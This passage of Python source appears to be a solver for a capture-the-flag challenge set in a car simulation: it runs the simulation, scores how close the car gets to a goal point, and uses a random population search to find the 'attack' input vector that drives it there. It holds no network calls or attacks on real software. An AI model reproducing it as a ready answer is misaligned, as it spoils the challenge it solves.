    truncated = False
    enforce_horizon = max_time < EPISODE_TIMEOUT
    while (
        not state.goal_reached
        and not state.timed_out
        and (not enforce_horizon or state.time + dt <= max_time)
    ):
        state.step(dt)
        dx = state.car.x - CTF_GOAL[0]
        dz = state.car.z - CTF_GOAL[1]
        min_distance = min(min_distance, math.hypot(dx, dz))
        steps += 1

    if (
        enforce_horizon
        and not state.goal_reached
        and not state.timed_out
        and state.time + dt > max_time
    ):
        truncated = True

    final_dx = state.car.x - CTF_GOAL[0]
    final_dz = state.car.z - CTF_GOAL[1]
    final_distance = math.hypot(final_dx, final_dz)

    return {
        "goal_reached": state.goal_reached,
        "timed_out": state.timed_out,
        "truncated": truncated,
        "steps": steps,
        "final_distance": final_distance,
        "min_distance": min_distance,
        "final_position": (state.car.x, state.car.z),
        "inside_goal_radius": final_distance < CTF_RADIUS,
    }


def run_search(config: SearchConfig) -> dict[str, Any]:
    rng = np.random.default_rng(config.seed)
    center = np.zeros(ATTACK_PARAMETER_SIZE, dtype=np.float32)
    best_vector = center.copy()
    best_result = evaluate_attack(
        unflatten_attack_vector(best_vector), dt=config.dt, max_time=config.max_time
    )
    best_score = score_result(best_result)

    for _ in range(config.iterations):
        population: list[tuple[float, np.ndarray, dict[str, Any]]] = []
        for _ in range(config.population):
            candidate = center + rng.normal(0.0, config.noise_scale, size=center.shape).astype(
                np.float32
            )
            arrays = clamp_attack_arrays(unflatten_attack_vector(candidate))
            vector = flatten_attack_arrays(arrays)
            result = evaluate_attack(arrays, dt=config.dt, max_time=config.max_time)
            score = score_result(result)
            population.append((score, vector, result))
            if score > best_score:
                best_score = score
                best_vector = vector.copy()
                best_result = result

        population.sort(key=lambda item: item[0], reverse=True)
        elite_vectors = [item[1] for item in population[: config.elite_count]]
        center = np.mean(np.stack(elite_vectors, axis=0), axis=0).astype(np.float32)

    best_arrays = clamp_attack_arrays(unflatten_attack_vector(best_vector))
    return {
        "best_score": float(best_score),
        "best_vector": best_vector,
        "best_arrays": best_arrays,
        "best_result": best_result,
    }


def main(argv: list[str] | None = None) -> int:
    config, output_path = parse_args(argv)
    result = run_search(config)
    save_attack_npz(output_path, result["best_arrays"])
    print(
        {
            "best_score": result["best_score"],
            "goal_reached": result["best_result"]["goal_reached"],
            "final_position": result["best_result"]["final_position"],
            "output_path": str(output_path),
        }
    )
    return 0


if __name__ == "__main__":
    raise SystemExit(main())